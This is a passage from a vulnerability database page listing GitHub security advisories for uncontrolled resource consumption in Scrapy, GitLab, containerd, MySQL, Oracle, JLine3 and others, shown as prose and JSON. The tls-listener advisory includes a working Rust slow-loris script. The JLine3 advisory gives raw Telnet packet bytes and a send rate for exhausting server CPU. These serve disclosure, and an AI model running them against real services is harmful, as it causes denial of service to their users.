Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

5486 vulnerabilities reference this CWE, most recent first.

GHSA-2QFP-Q593-8484

Vulnerability from github – Published: 2025-10-31 00:30 – Updated: 2025-11-17 15:50
VLAI
Summary
Scrapy is vulnerable to a denial of service (DoS) attack due to flaws in brotli decompression implementation
Details

Scrapy versions up to 2.13.3 are vulnerable to a denial of service (DoS) attack due to a flaw in its brotli decompression implementation. The protection mechanism against decompression bombs fails to mitigate the brotli variant, allowing remote servers to crash clients with less than 80GB of available memory. This occurs because brotli can achieve extremely high compression ratios for zero-filled data, leading to excessive memory consumption during decompression. Mitigation for this vulnerability needs security enhancement added in brotli v1.2.0.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "brotli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.13.3"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "Scrapy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.13.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-6176"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-31T21:23:47Z",
    "nvd_published_at": "2025-10-31T00:15:37Z",
    "severity": "HIGH"
  },
  "details": "Scrapy versions up to 2.13.3 are vulnerable to a denial of service (DoS) attack due to a flaw in its brotli decompression implementation. The protection mechanism against decompression bombs fails to mitigate the brotli variant, allowing remote servers to crash clients with less than 80GB of available memory. This occurs because brotli can achieve extremely high compression ratios for zero-filled data, leading to excessive memory consumption during decompression. Mitigation for this vulnerability needs security enhancement added in brotli v1.2.0.",
  "id": "GHSA-2qfp-q593-8484",
  "modified": "2025-11-17T15:50:19Z",
  "published": "2025-10-31T00:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6176"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/brotli/issues/1327"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/brotli/issues/1375"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/brotli/pull/1234"
    },
    {
      "type": "WEB",
      "url": "https://github.com/scrapy/scrapy/pull/7134"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/brotli/commit/67d78bc41db1a0d03f2e763497748f2f69946627"
    },
    {
      "type": "WEB",
      "url": "https://github.com/scrapy/scrapy/commit/14737e91edc513967f516fc839cc9c8a4f8d91da"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/google/brotli"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/brotli/releases/tag/v1.2.0"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/2c26a886-5984-47ee-a421-0d5fe1344eb0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Scrapy is vulnerable to a denial of service (DoS) attack due to flaws in brotli decompression implementation"
}

GHSA-2QHW-5384-M8G2

Vulnerability from github – Published: 2024-05-14 18:30 – Updated: 2024-05-14 18:30
VLAI
Details

An issue has been discovered in GitLab CE/EE affecting all versions starting from 15.4 prior to 16.9.7, starting from 16.10 prior to 16.10.5, and starting from 16.11 prior to 16.11.2 where abusing the API to filter branch and tags could lead to Denial of Service.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2024-4539"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-14T15:44:01Z",
    "severity": "MODERATE"
  },
  "details": "An issue has been discovered in GitLab CE/EE affecting all versions starting from 15.4 prior to 16.9.7, starting from 16.10 prior to 16.10.5, and starting from 16.11 prior to 16.11.2 where abusing the API to filter branch and tags could lead to Denial of Service.",
  "id": "GHSA-2qhw-5384-m8g2",
  "modified": "2024-05-14T18:30:55Z",
  "published": "2024-05-14T18:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4539"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/454815"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2QJP-425J-52J9

Vulnerability from github – Published: 2022-12-07 23:23 – Updated: 2022-12-07 23:23
VLAI
Summary
containerd CRI stream server vulnerable to host memory exhaustion via terminal
Details

Impact

A bug was found in containerd's CRI implementation where a user can exhaust memory on the host. In the CRI stream server, a goroutine is launched to handle terminal resize events if a TTY is requested. If the user's process fails to launch due to, for example, a faulty command, the goroutine will be stuck waiting to send without a receiver, resulting in a memory leak. Kubernetes and crictl can both be configured to use containerd's CRI implementation and the stream server is used for handling container IO.

Patches

This bug has been fixed in containerd 1.6.12 and 1.5.16. Users should update to these versions to resolve the issue.

Workarounds

Ensure that only trusted images and commands are used and that only trusted users have permissions to execute commands in running containers.

For more information

If you have any questions or comments about this advisory:

To report a security issue in containerd: * Report a new vulnerability * Email us at security@containerd.io

Severity
5.7 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/containerd/containerd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/containerd/containerd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.6.0"
            },
            {
              "fixed": "1.6.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-23471"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-401"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-12-07T23:23:43Z",
    "nvd_published_at": "2022-12-07T23:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nA bug was found in containerd\u0027s CRI implementation where a user can exhaust memory on the host. In the CRI stream server, a goroutine is launched to handle terminal resize events if a TTY is requested. If the user\u0027s process fails to launch due to, for example, a faulty command, the goroutine will be stuck waiting to send without a receiver, resulting in a memory leak. Kubernetes and crictl can both be configured to use containerd\u0027s CRI implementation and the stream server is used for handling container IO.\n\n### Patches\n\nThis bug has been fixed in containerd 1.6.12 and 1.5.16.  Users should update to these versions to resolve the issue.\n\n### Workarounds\n\nEnsure that only trusted images and commands are used and that only trusted users have permissions to execute commands in running containers. \n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [containerd](https://github.com/containerd/containerd/issues/new/choose)\n* Email us at [security@containerd.io](mailto:security@containerd.io)\n\nTo report a security issue in containerd:\n* [Report a new vulnerability](https://github.com/containerd/containerd/security/advisories/new)\n* Email us at [security@containerd.io](mailto:security@containerd.io)",
  "id": "GHSA-2qjp-425j-52j9",
  "modified": "2022-12-07T23:23:43Z",
  "published": "2022-12-07T23:23:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/containerd/containerd/security/advisories/GHSA-2qjp-425j-52j9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23471"
    },
    {
      "type": "WEB",
      "url": "https://github.com/containerd/containerd/commit/241563be06a3de8b6a849414c4e805b68d3bb295"
    },
    {
      "type": "WEB",
      "url": "https://github.com/containerd/containerd/commit/a05d175400b1145e5e6a735a6710579d181e7fb0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/containerd/containerd"
    },
    {
      "type": "WEB",
      "url": "https://github.com/containerd/containerd/releases/tag/v1.5.16"
    },
    {
      "type": "WEB",
      "url": "https://github.com/containerd/containerd/releases/tag/v1.6.12"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202401-31"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "containerd CRI stream server vulnerable to host memory exhaustion via terminal"
}

GHSA-2QMV-GPQM-6X56

Vulnerability from github – Published: 2025-07-15 21:31 – Updated: 2025-07-15 21:31
VLAI
Details

Vulnerability in the MySQL Server product of Oracle MySQL (component: InnoDB). Supported versions that are affected are 8.0.0-8.0.42, 8.4.0-8.4.5 and 9.0.0-9.3.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2025-50077"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-15T20:15:43Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: InnoDB).  Supported versions that are affected are 8.0.0-8.0.42, 8.4.0-8.4.5 and  9.0.0-9.3.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).",
  "id": "GHSA-2qmv-gpqm-6x56",
  "modified": "2025-07-15T21:31:41Z",
  "published": "2025-07-15T21:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50077"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2025.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2QPH-QPVM-2QF7

Vulnerability from github – Published: 2024-03-15 19:57 – Updated: 2025-04-09 19:58
VLAI
Summary
tls-listener affected by the slow loris vulnerability with default configuration
Details

Summary

With the default configuration of tls-listener, a malicious user can open 6.4 TcpStreams a second, sending 0 bytes, and can trigger a DoS.

Details

The default configuration options make any public service using TlsListener::new() vulnerable to a slow-loris DoS attack.

/// Default number of concurrent handshakes
pub const DEFAULT_MAX_HANDSHAKES: usize = 64;
/// Default timeout for the TLS handshake.
pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);

PoC

Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.

use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};

#[tokio::main]
async fn main() {
    const N: usize = 1024;
    const T: Duration = Duration::from_secs(10);

    let url = "127.0.0.1:3000";
    let sockets: Vec<_> = url
        .to_socket_addrs()
        .unwrap()
        .inspect(|s| println!("{s:?}"))
        .collect();

    let mut js = JoinSet::new();

    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
    for _ in 0..10000 {
        for &socket in &sockets {
            int.tick().await;
            js.spawn(async move {
                let mut stream = TcpStream::connect(socket).await.unwrap();
                let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;
            });
        }
    }

    while js.join_next().await.is_some() {}
}

Impact

This is an instance of a slow-loris attack. This impacts any publically accessible service using the default configuration of tls-listener

Mitigation

Previous versions can mitigate this by passing a large value, such as usize::MAX as the parameter to Builder::max_handshakes.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.1"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "tls-listener"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-28854"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-03-15T19:57:22Z",
    "nvd_published_at": "2024-03-15T19:15:07Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nWith the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS.\n\n### Details\nThe default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack.\n\n```rust\n/// Default number of concurrent handshakes\npub const DEFAULT_MAX_HANDSHAKES: usize = 64;\n/// Default timeout for the TLS handshake.\npub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);\n```\n\n### PoC\n\nRunning the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.\n\n```rust\nuse std::{net::ToSocketAddrs, time::Duration};\nuse tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};\n\n#[tokio::main]\nasync fn main() {\n    const N: usize = 1024;\n    const T: Duration = Duration::from_secs(10);\n\n    let url = \"127.0.0.1:3000\";\n    let sockets: Vec\u003c_\u003e = url\n        .to_socket_addrs()\n        .unwrap()\n        .inspect(|s| println!(\"{s:?}\"))\n        .collect();\n\n    let mut js = JoinSet::new();\n\n    let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));\n    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);\n    for _ in 0..10000 {\n        for \u0026socket in \u0026sockets {\n            int.tick().await;\n            js.spawn(async move {\n                let mut stream = TcpStream::connect(socket).await.unwrap();\n                let _ = tokio::time::timeout(T, stream.read_to_end(\u0026mut Vec::new())).await;\n            });\n        }\n    }\n\n    while js.join_next().await.is_some() {}\n}\n\n```\n\n### Impact\n\nThis is an instance of a [slow-loris attack](https://en.wikipedia.org/wiki/Slowloris_(computer_security)). This impacts any publically accessible service using the default configuration of `tls-listener`\n\n\n### Mitigation\n\nPrevious versions can mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.",
  "id": "GHSA-2qph-qpvm-2qf7",
  "modified": "2025-04-09T19:58:53Z",
  "published": "2024-03-15T19:57:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tmccombs/tls-listener/security/advisories/GHSA-2qph-qpvm-2qf7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28854"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tmccombs/tls-listener/commit/d5a7655d6ea9e53ab57c3013092c5576da964bc4"
    },
    {
      "type": "WEB",
      "url": "https://en.wikipedia.org/wiki/Slowloris_(computer_security)"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tmccombs/tls-listener"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tmccombs/tls-listener/releases/tag/v0.10.0"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2024-0341.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "tls-listener affected by the slow loris vulnerability with default configuration"
}

GHSA-2QV6-QQVC-2GCP

Vulnerability from github – Published: 2026-05-28 21:32 – Updated: 2026-05-28 21:32
VLAI
Details

Vulnerability in the Net Service component of Oracle Database Server. Supported versions that are affected are 23.4.0-23.26.2. Easily exploitable vulnerability allows unauthenticated attacker with network access via TLS to compromise Net Service. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Net Service. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-46834"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-28T21:16:33Z",
    "severity": "HIGH"
  },
  "details": "Vulnerability in the Net Service component of Oracle Database Server.  Supported versions that are affected are 23.4.0-23.26.2. Easily exploitable vulnerability allows unauthenticated attacker with network access via TLS to compromise Net Service.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Net Service. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).",
  "id": "GHSA-2qv6-qqvc-2gcp",
  "modified": "2026-05-28T21:32:06Z",
  "published": "2026-05-28T21:32:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46834"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cspumay2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2R2C-CX56-8933

Vulnerability from github – Published: 2026-06-18 13:07 – Updated: 2026-07-20 21:21
VLAI
Summary
JLine3 Telnet server: Unauthenticated Remote DoS via Unbounded Telnet NAWS Terminal Geometry
Details

Summary

The JLine3 Telnet server (remote-telnet module) does not apply an upper bound to terminal dimensions received via the Telnet NAWS (Negotiate About Window Size) option. An unauthenticated remote attacker can send a NAWS subnegotiation advertising a 65535×65535 terminal and repeatedly alternate values to trigger continuous, expensive rendering work on the server, causing CPU exhaustion and denial of service.

Details

TelnetIO.handleNAWS() (TelnetIO.java:856-879) reads the client-supplied width and height as 16-bit unsigned integers and passes them to setTerminalGeometry():

// TelnetIO.java:869-875
private void setTerminalGeometry(int columns, int rows) {
    if (columns < SMALLEST_BELIEVABLE_WIDTH) columns = DEFAULT_WIDTH;  // lower bound only
    if (rows    < SMALLEST_BELIEVABLE_HEIGHT) rows    = DEFAULT_HEIGHT;
    connectionData.setTerminalGeometry(columns, rows);
    connection.processConnectionEvent(
        new ConnectionEvent(connection, ConnectionEvent.Type.CONNECTION_TERMINAL_GEOMETRY_CHANGED));
}

Only a lower bound is enforced (minimum 20 columns / 6 rows). Values up to 65535 are accepted and stored. The geometry change event propagates to Telnet.java:153-158 where it calls:

terminal.setSize(new Size(65535, 65535));
terminal.raise(Signal.WINCH);

The WINCH signal triggers LineReaderImpl.handleSignal() → redisplay(). Inside redisplay(), multiple paths iterate up to size.getColumns() times:

  • freshLine() (LineReaderImpl.java:937,953): loops size.getColumns()-1 = 65534 iterations, building and writing a space-padding string across the network socket.
  • columnSplitLength(terminal, size.getColumns(), ...): called multiple times, each processing all characters against the 65535-wide line width.

Because WINCH only fires on change, the attacker alternates between two large values (e.g., 65535 and 65534) to trigger an unlimited stream of expensive render cycles. No authentication is required; the NAWS option is negotiated before any login sequence.

Affected source files: - remote-telnet/src/main/java/org/jline/builtins/telnet/TelnetIO.java lines 856-879 - remote-telnet/src/main/java/org/jline/builtins/telnet/Telnet.java lines 140-175 - reader/src/main/java/org/jline/reader/impl/LineReaderImpl.java lines 929-962, 1293-1313

PoC

Send the following two raw Telnet packets in a loop to a running JLine Telnet server. No login or authentication is required.

Packet 1 — NAWS 65535 × 65535: FF FA 1F FF FF FF FF FF F0 (IAC SB NAWS 0xFF 0xFF 0xFF 0xFF IAC SE)

Packet 2 — NAWS 65534 × 65534: FF FA 1F FF FE FF FE FF F0 (IAC SB NAWS 0xFF 0xFE 0xFF 0xFE IAC SE)

Sending these alternately at ~10 packets/second is sufficient to peg one CPU core on the server. The server remains in this state for as long as the connection is open.

Reproduction environment: - JLine3 built from current master on x86_64 Linux, OpenJDK 25.0.2 - remote-telnet module started with its default Telnet server configuration - Test confirmed by source-code analysis and tracing the call chain at runtime

Impact

Type: Denial of Service (CPU exhaustion) Who is affected: Any application that embeds the JLine3 remote-telnet module and exposes its Telnet server on a network interface. The attacker requires no credentials. A single connection making ~10 alternating NAWS packets per second fully occupies the connection-handling thread and produces continuous I/O on the server's output stream. Because connection threads are re-used for the life of the session, one attacker per available connection slot can deny service to all users of that slot.

Credits

This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.jline:jline-remote-telnet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56741"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:07:16Z",
    "nvd_published_at": "2026-07-17T22:17:57Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe JLine3 Telnet server (`remote-telnet` module) does not apply an upper bound to\nterminal dimensions received via the Telnet NAWS (Negotiate About Window Size) option.\nAn unauthenticated remote attacker can send a NAWS subnegotiation advertising a\n65535\u00d765535 terminal and repeatedly alternate values to trigger continuous, expensive\nrendering work on the server, causing CPU exhaustion and denial of service.\n\n### Details\n\n`TelnetIO.handleNAWS()` (TelnetIO.java:856-879) reads the client-supplied width and\nheight as 16-bit unsigned integers and passes them to `setTerminalGeometry()`:\n\n```java\n// TelnetIO.java:869-875\nprivate void setTerminalGeometry(int columns, int rows) {\n    if (columns \u003c SMALLEST_BELIEVABLE_WIDTH) columns = DEFAULT_WIDTH;  // lower bound only\n    if (rows    \u003c SMALLEST_BELIEVABLE_HEIGHT) rows    = DEFAULT_HEIGHT;\n    connectionData.setTerminalGeometry(columns, rows);\n    connection.processConnectionEvent(\n        new ConnectionEvent(connection, ConnectionEvent.Type.CONNECTION_TERMINAL_GEOMETRY_CHANGED));\n}\n```\n\nOnly a *lower* bound is enforced (minimum 20 columns / 6 rows). Values up to 65535 are\naccepted and stored. The geometry change event propagates to Telnet.java:153-158 where\nit calls:\n\n    terminal.setSize(new Size(65535, 65535));\n    terminal.raise(Signal.WINCH);\n\nThe WINCH signal triggers `LineReaderImpl.handleSignal()` \u2192 `redisplay()`. Inside\n`redisplay()`, multiple paths iterate up to `size.getColumns()` times:\n\n- `freshLine()` (LineReaderImpl.java:937,953): loops `size.getColumns()-1` = **65534\n  iterations**, building and writing a space-padding string across the network socket.\n- `columnSplitLength(terminal, size.getColumns(), ...)`: called multiple times,\n  each processing all characters against the 65535-wide line width.\n\nBecause WINCH only fires on *change*, the attacker alternates between two large values\n(e.g., 65535 and 65534) to trigger an unlimited stream of expensive render cycles.\nNo authentication is required; the NAWS option is negotiated before any login sequence.\n\nAffected source files:\n- `remote-telnet/src/main/java/org/jline/builtins/telnet/TelnetIO.java` lines 856-879\n- `remote-telnet/src/main/java/org/jline/builtins/telnet/Telnet.java` lines 140-175\n- `reader/src/main/java/org/jline/reader/impl/LineReaderImpl.java` lines 929-962, 1293-1313\n\n### PoC\n\nSend the following two raw Telnet packets in a loop to a running JLine Telnet server.\nNo login or authentication is required.\n\nPacket 1 \u2014 NAWS 65535 \u00d7 65535:\n  FF FA 1F FF FF FF FF FF F0\n  (IAC SB NAWS 0xFF 0xFF 0xFF 0xFF IAC SE)\n\nPacket 2 \u2014 NAWS 65534 \u00d7 65534:\n  FF FA 1F FF FE FF FE FF F0\n  (IAC SB NAWS 0xFF 0xFE 0xFF 0xFE IAC SE)\n\nSending these alternately at ~10 packets/second is sufficient to peg one CPU core on\nthe server. The server remains in this state for as long as the connection is open.\n\nReproduction environment:\n- JLine3 built from current master on x86_64 Linux, OpenJDK 25.0.2\n- `remote-telnet` module started with its default `Telnet` server configuration\n- Test confirmed by source-code analysis and tracing the call chain at runtime\n\n### Impact\n\n**Type**: Denial of Service (CPU exhaustion)\n**Who is affected**: Any application that embeds the JLine3 `remote-telnet` module and\nexposes its Telnet server on a network interface. The attacker requires no credentials.\nA single connection making ~10 alternating NAWS packets per second fully occupies the\nconnection-handling thread and produces continuous I/O on the server\u0027s output stream.\nBecause connection threads are re-used for the life of the session, one attacker per\navailable connection slot can deny service to all users of that slot.\n\n### Credits\nThis issue was identified by Micha\u0142 Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.",
  "id": "GHSA-2r2c-cx56-8933",
  "modified": "2026-07-20T21:21:51Z",
  "published": "2026-06-18T13:07:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jline/jline3/security/advisories/GHSA-2r2c-cx56-8933"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56741"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jline/jline3/pull/2000"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jline/jline3/commit/3ea9cad8699714dc072fade29d36be0d1e23d708"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jline/jline3/commit/733eb353dca7b0ea0252e724445b6defa29c393e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jline/jline3/commit/86b7ba7801988aadb1a67555629522a71d603bd3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jline/jline3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jline/jline3/releases/tag/4.0.16"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jline/jline3/releases/tag/4.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "JLine3 Telnet server: Unauthenticated Remote DoS via Unbounded Telnet NAWS Terminal Geometry"
}

GHSA-2R57-8PGJ-H27P

Vulnerability from github – Published: 2024-03-28 09:31 – Updated: 2024-03-28 09:31
VLAI
Details

An issue has been discovered in GitLab CE/EE affecting all versions before 16.8.5, all versions starting from 16.9 before 16.9.3, all versions starting from 16.10 before 16.10.1. It was possible for an attacker to cause a denial of service using malicious crafted description parameter for labels.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-2818"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-28T08:15:26Z",
    "severity": "MODERATE"
  },
  "details": "An issue has been discovered in GitLab CE/EE affecting all versions before 16.8.5, all versions starting from 16.9 before 16.9.3, all versions starting from 16.10 before 16.10.1. It was possible for an attacker to cause a denial of service using malicious crafted description parameter for labels.",
  "id": "GHSA-2r57-8pgj-h27p",
  "modified": "2024-03-28T09:31:13Z",
  "published": "2024-03-28T09:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2818"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/434803"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2R77-X4QH-MHC3

Vulnerability from github – Published: 2026-03-24 15:30 – Updated: 2026-03-25 21:30
VLAI
Details

Denial-of-service in the XML component. This vulnerability affects Firefox < 149.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-4726"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-24T13:16:08Z",
    "severity": "HIGH"
  },
